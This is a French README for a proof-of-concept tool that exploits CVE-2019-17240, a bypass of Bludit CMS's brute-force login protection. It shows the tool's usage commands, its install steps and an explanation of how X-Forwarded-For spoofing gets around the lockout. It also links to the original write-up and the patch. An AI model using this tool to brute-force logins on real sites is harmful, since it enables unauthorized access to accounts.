
Bludit <= 3.9.2 - Exploit/PoC de contournement de la mitigation de bruteforce d'authentification
Code d'exploitation pour CVE-2019-17240 alias contournement de la protection contre la force brute de Bludit <= 3.9.2
Liens de l'exploit: [ExploitDB-48942] [PacketStorm]
Résultat attendu: Découvrir les identifiants de connexion en contournant le mécanisme de force brute sur un hôte exécutant Bludit <=3.9.2
Conçu uniquement à des fins éducatives et de test dans des environnements professionnels.
Cet exploit a été testé sur Python 3.8.6
cfx: ~/bludit
→ ./exploit.py -h
usage: exploit.py [-h] [-l URL] [-u USERLIST] [-p PASSLIST]
Bludit <= 3.9.2 Auth Bruteforce Mitigation Bypass
optional arguments:
-h, --help show this help message and exit
-l URL, --url URL Path to Bludit (Example: http://127.0.0.1/admin/login.php)
-u USERLIST, --userlist USERLIST
Username Dictionary
-p PASSLIST, --passlist PASSLIST
Password Dictionary
Exploit Usage :
./exploit.py -l http://127.0.0.1/admin/login.php -u user.txt -p pass.txt
./exploit.py -l http://127.0.0.1/admin/login.php -u /Directory/user.txt -p /Directory/pass.txt
Installation:
pip3 install pwn
pip3 install requests
Cet exploit attend trois entrées utilisateur :
Utilisation de l'exploit où le nom d'utilisateur dans user.txt est mis en correspondance avec chaque mot de passe dans pass.txt et envoyé à la connexion :

Les valeurs sont envoyées dans l'en-tête X-Forwarded-For depuis pass.txt. Si la liste contient un nombre insuffisant de mots de passe, il est possible qu'un mot soit bloqué par le serveur. Dans ce cas, le script affichera le mot bloqué dans la sortie :

En cas de connexion réussie, la sortie suivante avec les identifiants valides sera affichée :

Ceci est un exploit pour la vulnérabilité trouvée par Rastating sur Bludit CMS.
Explication de la vulnérabilité : https://rastating.github.io/bludit-brute-force-mitigation-bypass/.
Correctif : https://github.com/bludit/bludit/pull/1090